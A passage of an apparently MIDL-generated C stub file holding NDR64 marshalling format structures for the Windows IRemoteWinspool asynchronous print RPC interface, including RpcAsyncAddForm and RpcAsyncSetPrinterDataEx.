0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 6 /* 0x6 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* RPC_FORM_INFO_2 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag314_t __midl_frag314 =\n{ \n/* *RPC_FORM_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag315\n};\n\nstatic const __midl_frag313_t __midl_frag313 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag362\n    }\n};\n\nstatic const __midl_frag311_t __midl_frag311 =\n{ \n/* FORM_INFO_1 */\n    { \n    /* FORM_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* FORM_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag313,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag310_t __midl_frag310 =\n{ \n/* *FORM_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag311\n};\n\nstatic const __midl_frag309_t __midl_frag309 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag308_t __midl_frag308 =\n{ \n/* __MIDL_IRemoteWinspool_0008 */\n    { \n    /* __MIDL_IRemoteWinspool_0008 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag309,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag310,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag314,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag307_t __midl_frag307 =\n{ \n/* FORM_CONTAINER */\n    { \n    /* FORM_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* FORM_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag308\n        },\n        { \n        /* FORM_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag304_t __midl_frag304 =\n{ \n/* RpcAsyncAddForm */\n    { \n    /* RpcAsyncAddForm */      /* procedure RpcAsyncAddForm */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormInfoContainer */      /* parameter pFormInfoContainer */\n        &__midl_frag307,\n        { \n        /* pFormInfoContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag302_t __midl_frag302 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag301_t __midl_frag301 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag302\n};\n\nstatic const __midl_frag300_t __midl_frag300 =\n{ \n/* RpcAsyncClosePrinter */\n    { \n    /* RpcAsyncClosePrinter */      /* procedure RpcAsyncClosePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* phPrinter */      /* parameter phPrinter */\n        &__midl_frag302,\n        { \n        /* phPrinter */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag296_t __midl_frag296 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag295_t __midl_frag295 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag296\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag367\n    }\n};\n\nstatic const __midl_frag294_t __midl_frag294 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag295\n};\n\nstatic const __midl_frag287_t __midl_frag287 =\n{ \n/* RpcAsyncSetPrinterDataEx */\n    { \n    /* RpcAsyncSetPrinterDataEx */      /* procedure RpcAsyncSetPrinterDataEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag362,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag362,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag380,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag295,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbData */      /* parameter cbData */\n        &__midl_frag389,\n        { \n        /* cbData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag389,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag283_t __midl_frag283 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag282_t __midl_frag282 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag283\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag352\n    }\n};\n\nstatic const __midl_frag281_t __midl_frag281 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag282\n};\n\nstatic const __midl_frag277_t __midl_frag277 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag276_t __midl_frag276 =\n{ \n/* RpcAsyncSetPrinterData */\n    { \n    /* RpcAsyncSetPrinterData */      /* procedure RpcAsyncSetPrinterData */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag277,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag343,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag348,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag282,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbData */      /* parameter cbData */\n        &__midl_frag380,\n        { \n        /* cbData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag273_t __midl_frag273 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag348\n};\n\nstatic const __midl_frag271_t __midl_frag271 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag270_t __midl_frag270 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag269_t __midl_frag269 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag270\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag271\n    